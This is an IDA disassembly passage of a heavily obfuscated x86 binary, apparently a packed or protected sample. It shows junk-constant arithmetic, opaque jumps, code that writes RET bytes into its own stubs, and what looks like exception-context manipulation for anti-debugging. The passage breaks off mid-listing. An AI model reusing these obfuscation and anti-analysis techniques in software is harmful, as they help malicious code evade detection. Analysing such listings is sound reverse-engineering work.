; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_754FC6	proc near		; CODE XREF: sub_74B091+7p
					; _0z4jwtox:0074B244p ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0074CB55 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0074DA35 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074F8F2 SIZE 00000025 BYTES

		push	ebp
		mov	ebp, esp
		jno	sub_7475DD
		add	esp, 0FFFFFFECh
		mov	eax, offset dword_7575C4
		call	sub_745BF7
		jmp	loc_74CB55
sub_754FC6	endp

; ---------------------------------------------------------------------------


loc_754FE1:				; CODE XREF: _0z4jwtox:0074936Fj
		pushf
		mov	[esi], edx
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_754FE4:				; CODE XREF: sub_748DCB:loc_749359j
		xor	eax, 0E9BADC6Dh
		add	eax, ebp
		add	eax, 4B89CCB0h
		mov	eax, [eax]
		pushf
		add	eax, 73C4AE42h
		jmp	loc_75146E
; END OF FUNCTION CHUNK	FOR sub_748DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_755000:				; CODE XREF: sub_749980-38B0j
		ror	esi, 10h
		jmp	loc_74774A
; END OF FUNCTION CHUNK	FOR sub_749980
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750A01


loc_755009:				; CODE XREF: sub_750A01+3359j
		jmp	nullsub_254
; END OF FUNCTION CHUNK	FOR sub_750A01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_75500E:				; CODE XREF: sub_74CBCF:loc_7520ECj
		jmp	loc_7503BC
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
		mov	ds:dword_41F11C, eax
		lea	eax, nullsub_272
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_272
; ---------------------------------------------------------------------------
		call	sub_745978	; GetCurrentProcessId
; START	OF FUNCTION CHUNK FOR sub_750715


loc_75502C:				; CODE XREF: sub_750715:loc_745C43j
		push	0C29E6ADFh
		pop	edi
		sub	edi, 88F0EE09h
		rol	edi, 1Bh
		and	edi, 4DD7864Fh
		push	offset loc_749F71
		jmp	nullsub_146
; END OF FUNCTION CHUNK	FOR sub_750715

; =============== S U B	R O U T	I N E =======================================



sub_75504B	proc near		; DATA XREF: sub_74E693-2219o
		sub	eax, edi
		pop	edi
		push	ecx
		push	53965142h
		pop	ecx
		rol	ecx, 0Ah
		xor	ecx, 0D48B44A0h
		add	ecx, 0A2D6D1EDh
		jmp	loc_74EBE7
sub_75504B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_755069:				; CODE XREF: sub_749980-2225j
		mov	[ebp-2Ch], eax
		push	offset sub_7471E3
		jmp	nullsub_216
; END OF FUNCTION CHUNK	FOR sub_749980

; =============== S U B	R O U T	I N E =======================================



sub_755076	proc near		; DATA XREF: _0z4jwtox:0075268Co
		lea	eax, nullsub_294
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_294
sub_755076	endp

; ---------------------------------------------------------------------------


loc_755084:				; CODE XREF: _0z4jwtox:0074E511j
		mov	eax, [esp]
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		jmp	loc_756D32
; ---------------------------------------------------------------------------


loc_755092:				; CODE XREF: _0z4jwtox:loc_756075j
		pop	eax
		add	eax, 0FA295EB0h
		xor	eax, 0F489BF25h
		push	edx
		pushf
		push	92E0761Ch
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_7550A6:				; CODE XREF: sub_7473D1:loc_74E2E3j
		pop	edx
		jmp	loc_7506E2
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FA7E


loc_7550AC:				; CODE XREF: sub_74FA7E+Cj
		cmp	byte ptr [eax],	0F1h
		jnz	loc_74F302
		jmp	loc_756D2D
; END OF FUNCTION CHUNK	FOR sub_74FA7E
; ---------------------------------------------------------------------------


loc_7550BA:				; CODE XREF: _0z4jwtox:loc_74EDFEj
		jz	loc_7556F9
		jmp	loc_74AF70
; ---------------------------------------------------------------------------


loc_7550C5:				; CODE XREF: _0z4jwtox:loc_74D98Fj
					; _0z4jwtox:0074D9A3j
		add	esi, 67D24C9Eh
		call	sub_74E074
		add	esi, 0EA134BA0h
		jmp	loc_7484F2
; ---------------------------------------------------------------------------
		db 81h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 92h,	0C6h, 0Ch
		dd 38C1F729h, 0E96F0D59h, 0FFFF7E5Fh
; ---------------------------------------------------------------------------


loc_7550EC:				; CODE XREF: _0z4jwtox:00752E80j
		xchg	ecx, [eax]
		mov	ecx, 565F6D9Eh
		jmp	loc_750D9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A2D9


loc_7550F8:				; CODE XREF: sub_74A2D9+15j
		mov	ebp, eax
		pop	eax
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_74A2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753B3E


loc_7550FE:				; CODE XREF: sub_753B3E+12j
		jmp	loc_7558AD
; END OF FUNCTION CHUNK	FOR sub_753B3E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_755103	proc near		; CODE XREF: sub_746F7A+5p
					; sub_74F7C0-4CB5j ...

; FUNCTION CHUNK AT 0074A917 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jb	sub_74D782


loc_75510C:				; CODE XREF: _0z4jwtox:00755984j
		jmp	loc_74A917
sub_755103	endp

; ---------------------------------------------------------------------------


loc_755111:				; CODE XREF: _0z4jwtox:007557E2j
		jz	loc_753265
; START	OF FUNCTION CHUNK FOR sub_748773


loc_755117:				; CODE XREF: sub_748773+70A9j
		jmp	loc_74A974
; END OF FUNCTION CHUNK	FOR sub_748773
; ---------------------------------------------------------------------------


loc_75511C:				; CODE XREF: _0z4jwtox:0074BB7Dj
		jmp	loc_749F5D
; ---------------------------------------------------------------------------
		sub	eax, edx
		mov	edx, esi
		cmp	edx, ebp
		jmp	loc_75325A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7567B4


loc_75512C:				; CODE XREF: sub_7567B4-10A62j
		xor	eax, esi
		jnb	loc_74DE3C
		jmp	loc_745C4D
; END OF FUNCTION CHUNK	FOR sub_7567B4

; =============== S U B	R O U T	I N E =======================================



sub_755139	proc near		; CODE XREF: sub_7459B2p
					; _0z4jwtox:0074D6C1j
		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_755148
		jmp	ds:off_41F068
sub_755139	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_755148	proc near		; CODE XREF: _0z4jwtox:loc_750A2Bj
					; sub_746640:loc_754881j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074CF97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007502E6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00755AC5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00757076 SIZE 00000022 BYTES

		pop	edx


loc_755149:				; CODE XREF: sub_747AEC:loc_746194j
		jmp	loc_757076
sub_755148	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_75514E:				; CODE XREF: _0z4jwtox:0074E4E7j
		xor	esi, ecx
		ror	edi, 15h
; START	OF FUNCTION CHUNK FOR sub_7470E8


loc_755153:				; CODE XREF: sub_7470E8:loc_74E4D0j
		and	esi, 0CB9A6D21h
		or	esi, 1A2963DAh
		jmp	loc_746FD3
; END OF FUNCTION CHUNK	FOR sub_7470E8

; =============== S U B	R O U T	I N E =======================================



sub_755164	proc near		; CODE XREF: _0z4jwtox:0074DF83j
					; sub_74C2C9+3CEDp
		xchg	esi, [esp+0]
		pop	esi
		push	dword ptr ds:loc_74F377+1
		retn
sub_755164	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7570CA


loc_75516F:				; CODE XREF: sub_7570CA+11j
		jmp	loc_74EF96
; END OF FUNCTION CHUNK	FOR sub_7570CA
; ---------------------------------------------------------------------------


loc_755174:				; CODE XREF: _0z4jwtox:0074D973j
		jmp	sub_74F688

; =============== S U B	R O U T	I N E =======================================



sub_755179	proc near		; CODE XREF: sub_74C2C9-3CD6p
					; sub_74C2C9+3CD6p

; FUNCTION CHUNK AT 0074B621 SIZE 00000018 BYTES

		mov	eax, cs
		xor	al, al
		or	eax, eax
		jmp	loc_74B621
sub_755179	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_755184:				; CODE XREF: sub_747C39+65E2j
		call	sub_754175
; END OF FUNCTION CHUNK	FOR sub_747C39
; START	OF FUNCTION CHUNK FOR sub_74AF10


loc_755189:				; CODE XREF: sub_74AF10-1595j
		jmp	loc_74D7C8
; END OF FUNCTION CHUNK	FOR sub_74AF10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_75518E:				; CODE XREF: sub_747C22+1B9j
		jz	loc_74888D
		jmp	loc_754ADF
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75427C


loc_755199:				; CODE XREF: sub_75427C:loc_754BFAj
		mov	eax, ecx
		xchg	eax, [esp+0]
		mov	ecx, [esp+8+arg_4]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_74E214
		mov	[ecx+0B8h], eax
		call	sub_746DB9
; END OF FUNCTION CHUNK	FOR sub_75427C
; START	OF FUNCTION CHUNK FOR sub_74F688


loc_7551B9:				; CODE XREF: sub_74F688+6j
		jmp	loc_756BC9
; END OF FUNCTION CHUNK	FOR sub_74F688
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CCF4


loc_7551BE:				; CODE XREF: sub_74CCF4+22j
		jmp	nullsub_267
; END OF FUNCTION CHUNK	FOR sub_74CCF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74870B


loc_7551C3:				; CODE XREF: sub_74870B-20E8j
		jmp	loc_74F21E
; END OF FUNCTION CHUNK	FOR sub_74870B
; ---------------------------------------------------------------------------


loc_7551C8:				; CODE XREF: _0z4jwtox:loc_74D8DCj
		jnz	loc_7499FD
; START	OF FUNCTION CHUNK FOR sub_7554BB


loc_7551CE:				; CODE XREF: sub_7554BB-F0Aj
		jmp	loc_74DD49
; END OF FUNCTION CHUNK	FOR sub_7554BB
; ---------------------------------------------------------------------------
		or	edx, ecx
		xchg	esi, [edi]
		sub	ebp, edx


loc_7551D9:				; CODE XREF: _0z4jwtox:loc_74F8B9j
		jl	loc_753035
		cdq
		jmp	loc_7499FD
; ---------------------------------------------------------------------------


loc_7551E5:				; DATA XREF: sub_74A821:loc_74AED3o
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_74EE43
		jmp	loc_74A3A6
; ---------------------------------------------------------------------------
		rol	edi, 0Eh
		jmp	sub_751427
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_263. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D4C5


loc_7551FF:				; CODE XREF: sub_74D4C5+9j
		jmp	loc_7570A7
; END OF FUNCTION CHUNK	FOR sub_74D4C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748BBE


loc_755204:				; CODE XREF: sub_748BBE:loc_7561CEj
		pop	edx
		rol	edx, 0Fh
		add	edx, 3ACCDD6Bh
		xchg	edx, [esp+4+var_4]
		jmp	loc_752233
; END OF FUNCTION CHUNK	FOR sub_748BBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_755216:				; CODE XREF: sub_746640+969Bj
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	ebx
		jmp	loc_74A1AA
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------


loc_755222:				; DATA XREF: sub_74F15D+17CAo
		add	edi, 0A227B756h
		xchg	edi, [esp]
		jmp	loc_74A969
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_755230:				; CODE XREF: sub_75043C-5EDBj
		jnz	loc_757563


loc_755236:				; CODE XREF: sub_75043C+1D8Cj
		jmp	loc_7450BB
; END OF FUNCTION CHUNK	FOR sub_75043C
; ---------------------------------------------------------------------------


loc_75523B:				; CODE XREF: _0z4jwtox:00751F6Dj
		jmp	loc_750063
; ---------------------------------------------------------------------------
		add	edx, esi
		jmp	loc_757560
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74894B


loc_755247:				; CODE XREF: sub_74894B:loc_75308Aj
		xchg	esi, [esp+0]
		mov	edi, esi
		pop	esi
		sub	edi, 54069B22h
		rol	edi, 10h
		cmp	edi, 0F0BDBA68h
		jmp	loc_7552E1
; END OF FUNCTION CHUNK	FOR sub_74894B
; ---------------------------------------------------------------------------
		push	ecx
		jle	loc_748179
		jmp	sub_755DA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_75526D:				; CODE XREF: sub_7543C5-453Fj
		add	eax, 58BC8FFDh
		xor	eax, 6DE46D96h
		add	eax, 5007F0BFh
		xor	eax, 158671F9h
		push	ebx
		push	0A24C7C86h
		pop	ebx


loc_75528C:				; CODE XREF: _0z4jwtox:0075785Fj
		jmp	loc_74CB84
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_755291:				; CODE XREF: sub_7462C2+96F4j
		jno	loc_74C219
		adc	edx, 33AB5417h
		jmp	loc_74C7DE
; END OF FUNCTION CHUNK	FOR sub_7462C2
; ---------------------------------------------------------------------------

locret_7552A2:				; CODE XREF: _0z4jwtox:loc_74D627j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C10


loc_7552A3:				; CODE XREF: sub_755C10:loc_7566C3j
		add	ecx, 0FEE36649h
		call	sub_74D505


loc_7552AE:				; CODE XREF: _0z4jwtox:007539A3j
		and	eax, 0AAE26FB5h
		add	eax, 8EAE3AE5h
		jns	loc_74E4B4
; END OF FUNCTION CHUNK	FOR sub_755C10
; START	OF FUNCTION CHUNK FOR sub_74ED72


loc_7552C0:				; CODE XREF: sub_74ED72+Cj
		jmp	nullsub_149
; END OF FUNCTION CHUNK	FOR sub_74ED72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_7552C5:				; CODE XREF: sub_749B76+A3Bj
		jmp	loc_757225
; END OF FUNCTION CHUNK	FOR sub_749B76
; ---------------------------------------------------------------------------
		adc	edi, 64C5F66Eh
		jmp	loc_74E4B3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ED53


loc_7552D6:				; CODE XREF: sub_74ED53+7j
		jmp	loc_74A0DE
; END OF FUNCTION CHUNK	FOR sub_74ED53
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7552DC:				; CODE XREF: _0z4jwtox:00756502j
		jmp	loc_756753
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74894B


loc_7552E1:				; CODE XREF: sub_74894B+C911j
		jmp	loc_746820
; END OF FUNCTION CHUNK	FOR sub_74894B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_7552E6:				; CODE XREF: sub_748A22:loc_74C943j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D7D4


loc_7552EB:				; CODE XREF: sub_74D7D4-394Bj
		jmp	nullsub_150
; END OF FUNCTION CHUNK	FOR sub_74D7D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7552F0:				; CODE XREF: sub_747C22-214j
		jmp	loc_753AC3
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_74A2E7
		jmp	loc_75371C
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75565F


loc_75530F:				; CODE XREF: sub_75565F+18j
		jmp	loc_752337
; END OF FUNCTION CHUNK	FOR sub_75565F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_755314:				; CODE XREF: sub_750638:loc_74A0F0j
					; sub_750638+575Bj
		mov	eax, [ebp+var_108]
		call	sub_7471C6


loc_75531F:				; CODE XREF: _0z4jwtox:0074DCC7j
		jmp	loc_755BA9
; END OF FUNCTION CHUNK	FOR sub_750638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_755324:				; CODE XREF: sub_74CF35-6DACj
		jmp	loc_748C22
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------


loc_755329:				; CODE XREF: _0z4jwtox:007543C0j
		ja	loc_750E08

; =============== S U B	R O U T	I N E =======================================



sub_75532F	proc near		; CODE XREF: sub_74E3F7:loc_747CF4p

; FUNCTION CHUNK AT 00745AF5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074611D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746F06 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00747D66 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074CEC8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007562E5 SIZE 0000000C BYTES

		xchg	edi, [esp+0]
		pop	edi
		jmp	loc_745AF5
sub_75532F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A83D


loc_755338:				; CODE XREF: sub_74A83D+554Bj
					; sub_753176-236Bj
		xchg	esi, [esp-4+arg_0]
		jmp	loc_753759
; END OF FUNCTION CHUNK	FOR sub_74A83D

; =============== S U B	R O U T	I N E =======================================



sub_755340	proc near		; DATA XREF: sub_75537E+8o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00749B44 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074ABA8 SIZE 00000005 BYTES

		adc	edx, [esp+arg_0]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		add	eax, edx
		jmp	loc_74ABA8
sub_755340	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_75535E:				; CODE XREF: _0z4jwtox:0075542Aj
		jnz	loc_753BA9
		and	edi, 0FCD45955h
		ror	ebp, 1Ch
		jmp	loc_753BA9
; ---------------------------------------------------------------------------
		push	offset sub_7568F5
		jmp	loc_7503CE
; ---------------------------------------------------------------------------


loc_75537C:				; CODE XREF: _0z4jwtox:00751214j
		sbb	ecx, ebx

; =============== S U B	R O U T	I N E =======================================



sub_75537E	proc near		; CODE XREF: sub_754E36-EF0Ap

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		cdq
		add	eax, [esp-4+arg_0]
		push	offset sub_755340
		jmp	nullsub_151
sub_75537E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F69D


loc_755390:				; CODE XREF: sub_74F69D:loc_756C34j
		xchg	ebx, [esp+4+var_4]
		jmp	nullsub_4
; END OF FUNCTION CHUNK	FOR sub_74F69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_755398:				; CODE XREF: sub_7490F6:loc_755F72j
		push	eax
		ror	eax, 13h
		push	ebx
		push	5F924538h
		pop	ebx
		or	ebx, 44295B3h
		sub	ebx, 1C192A07h


loc_7553AF:				; CODE XREF: _0z4jwtox:loc_756B83j
		jmp	loc_7491AC
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------

locret_7553B4:				; CODE XREF: _0z4jwtox:loc_74BD48j
		retn
; ---------------------------------------------------------------------------


loc_7553B5:				; DATA XREF: sub_745C5B+F361o
		push	19EC516Ah
		pop	edi
		or	edi, 22ADDDCDh
		xor	edi, 99E71A96h
		test	edi, 8000h
		jmp	loc_7482F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_7553D2:				; CODE XREF: sub_74673E:loc_750710j
		jz	loc_747588
		jmp	loc_75480B
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_7553DD:				; CODE XREF: sub_747A94+6j
		pop	esi
		xchg	esi, [esp+0]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jz	loc_748A16
		jmp	loc_7543D9
; END OF FUNCTION CHUNK	FOR sub_747A94

; =============== S U B	R O U T	I N E =======================================



sub_7553F4	proc near		; DATA XREF: sub_74CB79+6CD2o

; FUNCTION CHUNK AT 00749C9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755B64 SIZE 00000012 BYTES

		xor	ebx, 3FCC73E0h
		sub	eax, ebx
		pop	ebx
		call	sub_74C733


loc_755402:				; CODE XREF: sub_747892+1005Dj
		jmp	loc_755B64
sub_7553F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_755407:				; CODE XREF: _0z4jwtox:0074DDD5j
		jmp	loc_74D210
; ---------------------------------------------------------------------------


loc_75540C:				; DATA XREF: sub_745D03+1o
		push	4F8ADF08h
		pop	eax
		or	eax, 0BED137C2h
		xor	eax, 873D355Ah
		add	eax, 5E557DC4h
		test	eax, 4000000h
		jmp	loc_75535E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_75542F:				; CODE XREF: sub_748FA4+4049j
		xor	edx, 9B5FDB63h
		sub	edx, 39CF6C00h
		add	edx, 0CDC20743h
		xchg	edx, [esp+0]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_755449:				; CODE XREF: sub_747C39+9737j
		shr	eax, 1Ah
		pushf
		jmp	loc_749C1A
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------


loc_755452:				; CODE XREF: _0z4jwtox:0074B79Cj
		add	edx, ebx


loc_755454:				; CODE XREF: _0z4jwtox:loc_74CF40j
		mov	eax, [esp]
		push	eax


loc_755458:				; CODE XREF: _0z4jwtox:loc_74F9E0j
		push	ecx
		push	offset sub_748574
		jmp	locret_748A82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750F63


loc_755463:				; CODE XREF: sub_750F63+10j
		add	esi, 0FFA0EDCEh
; END OF FUNCTION CHUNK	FOR sub_750F63
; START	OF FUNCTION CHUNK FOR sub_751307


loc_755469:				; CODE XREF: sub_751307:loc_74AA33j
		and	esi, 0A9297261h
		add	esi, 0FF541806h
		xchg	esi, [esp+4+var_4]
		jmp	loc_74A77D
; END OF FUNCTION CHUNK	FOR sub_751307

; =============== S U B	R O U T	I N E =======================================



sub_75547D	proc near		; CODE XREF: _0z4jwtox:0074DD16j
					; sub_755915+7p

; FUNCTION CHUNK AT 00746350 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00747661 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748F55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007501E5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0075492B SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_750C4E
		mov	eax, 11E35Ch
		push	edi
		push	0FE029456h
		pop	edi
		sub	edi, 39C03C1Ch
		jmp	loc_747661
sub_75547D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE67


loc_75549D:				; CODE XREF: sub_74AE67+2578j
		jnp	loc_7507A7
; END OF FUNCTION CHUNK	FOR sub_74AE67
; START	OF FUNCTION CHUNK FOR sub_749306


loc_7554A3:				; CODE XREF: sub_75309B-B2E4j
					; sub_74D1F3-1F9Fj ...
		jmp	loc_7575D9
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE67


loc_7554A8:				; CODE XREF: sub_74AE67+27DFj
					; sub_74D1F3+3A2Cj
		xchg	esi, [esp-4+arg_0]
		mov	ecx, esi
		jmp	loc_74B122
; END OF FUNCTION CHUNK	FOR sub_74AE67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7554B2:				; CODE XREF: sub_747C22:loc_74969Cj
		mov	edx, [ecx]
		sub	ecx, edi
		jmp	loc_74ED1E
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_7554BB	proc near		; DATA XREF: sub_7570CA-99AAo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074A60D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074D767 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DD49 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074E1E2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00754593 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 007551CE SIZE 00000005 BYTES

		call	sub_746E93
		push	ecx
		push	0CEAE2F5Dh
		pop	ecx
		xor	ecx, 8C046878h
		jnz	loc_7545A5
		cmp	eax, 7020B5F2h
		jmp	loc_754593
sub_7554BB	endp

; ---------------------------------------------------------------------------
		pop	edx
		jmp	loc_747A8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7554E4:				; CODE XREF: sub_747C22-C24j
		dec	dword ptr [ebp-2Ch]
		jnz	loc_74E721
		jmp	loc_74CF9C
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E693


loc_7554F2:				; CODE XREF: sub_74E693+1603j
					; sub_74E693:loc_757214j
		push	1DBD8606h
		push	offset sub_7542FD
		jmp	loc_753DD1
; END OF FUNCTION CHUNK	FOR sub_74E693

; =============== S U B	R O U T	I N E =======================================



sub_755501	proc near		; CODE XREF: _0z4jwtox:0074A72Fj
					; sub_747736+43B5p

; FUNCTION CHUNK AT 007529DD SIZE 0000000E BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_746E93
		mov	ds:dword_41F05C, eax
		jmp	loc_7529DD
sub_755501	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ecx
		push	offset sub_7472C9
		jmp	locret_7485BE
; ---------------------------------------------------------------------------
		adc	eax, edi
		jmp	sub_74AE46
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FA7E


loc_755528:				; CODE XREF: sub_74FA7E:loc_74F308j
		call	sub_746E93
		push	esi
		push	92DB5D13h
		pop	esi
		sub	esi, 0A5DB1372h
		push	offset sub_75368F
		jmp	loc_74D41A
; END OF FUNCTION CHUNK	FOR sub_74FA7E
; ---------------------------------------------------------------------------


loc_755544:				; CODE XREF: _0z4jwtox:loc_749C48j
		xchg	esi, [esp]
		jmp	sub_746E93
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753D0E


loc_75554D:				; CODE XREF: sub_753D0E+7j
		jmp	loc_745B20
; END OF FUNCTION CHUNK	FOR sub_753D0E
; ---------------------------------------------------------------------------


loc_755552:				; CODE XREF: _0z4jwtox:0074B6BEj
		jmp	locret_74C536
; ---------------------------------------------------------------------------


loc_755557:				; CODE XREF: _0z4jwtox:007452A7j
		jmp	locret_745608
; ---------------------------------------------------------------------------


loc_75555C:				; CODE XREF: _0z4jwtox:00754F84j
		jz	loc_74BD39
; START	OF FUNCTION CHUNK FOR sub_755F77


loc_755562:				; CODE XREF: sub_755F77-5259j
		jmp	nullsub_173
; END OF FUNCTION CHUNK	FOR sub_755F77
; ---------------------------------------------------------------------------
		ror	edx, 2
		jmp	loc_74BD35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_75556F:				; CODE XREF: sub_749306+A622j
		jge	loc_74C4A0
		jg	loc_7507D6


loc_75557B:				; CODE XREF: sub_749306:loc_753920j
		xor	edx, 0FEC7FFD6h
		add	edx, ebp
		add	edx, 0AA537E73h
		mov	edx, [edx]
		call	sub_74E3F7
; END OF FUNCTION CHUNK	FOR sub_749306
; START	OF FUNCTION CHUNK FOR sub_747032


loc_755590:				; CODE XREF: sub_747032+Dj
		jmp	sub_756974
; END OF FUNCTION CHUNK	FOR sub_747032
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749608


